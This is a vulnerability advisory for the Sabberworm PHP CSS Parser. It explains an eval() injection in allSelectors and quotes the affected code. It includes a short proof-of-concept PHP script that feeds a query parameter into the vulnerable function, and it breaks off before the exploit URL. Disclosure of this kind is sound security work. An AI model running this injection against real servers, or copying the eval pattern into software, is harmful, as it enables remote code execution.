Vulnerability summary
-------------------------------------------------
The Sabberworm PHP CSS Parser evaluates uncontrolled data which may result
in remote code execution if the affected function is called with attacker
controlled data.
Technical details
-------------------------------------------------
The function `allSelectors` in
`lib/Sabberworm/CSS/CSSList/CSSBlockList.php` on line `64` interpolates
untrusted data inside an `eval()` operation on line `73`.
https://github.com/sabberworm/PHP-CSS-Parser/blob/master/lib/Sabberworm/CSS/CSSList/CSSBlockList.php#L73
The function `allSelectors` is called via the function
`getSelectorsBySpecificity` in `lib/Sabberworm/CSS/CSSList/Document.php`
which is the class object returned from the `parse()` function in
`lib/Sabberworm/CSS/Parser.php`. If an attacker is able to supply or
influence the content of the data passed to the `allSelectors` or
`getSelectorsBySpecificity` functions, the server will execute attacker
controlled code.
```php
protected function allSelectors(&$aResult, $sSpecificitySearch = null) {
$aDeclarationBlocks = array();
$this->allDeclarationBlocks($aDeclarationBlocks);
foreach ($aDeclarationBlocks as $oBlock) {
foreach ($oBlock->getSelectors() as $oSelector) {
if ($sSpecificitySearch === null) {
$aResult[] = $oSelector;
} else {
$sComparison = "\$bRes = {$oSelector->getSpecificity()}
$sSpecificitySearch;";
eval($sComparison);
if ($bRes) {
$aResult[] = $oSelector;
}
}
}
}
}
```
Proof of concept
-------------------------------------------------
The following evidence is provided to illustrate the existence and
exploitation
of this vulnerability:
Save the following code as csspwn.php
```php
<?php
use Sabberworm\CSS\Parser;
$css="#test .help,\n#file,\n.help:hover,\nli.green,\nol li::before {\n
font-family: Helvetica;\n}";
$oCssParser = new Sabberworm\CSS\Parser($css);
$oDoc = $oCssParser->parse();
$oDoc->getSelectorsBySpecificity('> '.$_GET['n']);
?>
```
Serve the page via `php -S 0:8888` then open the following URL:
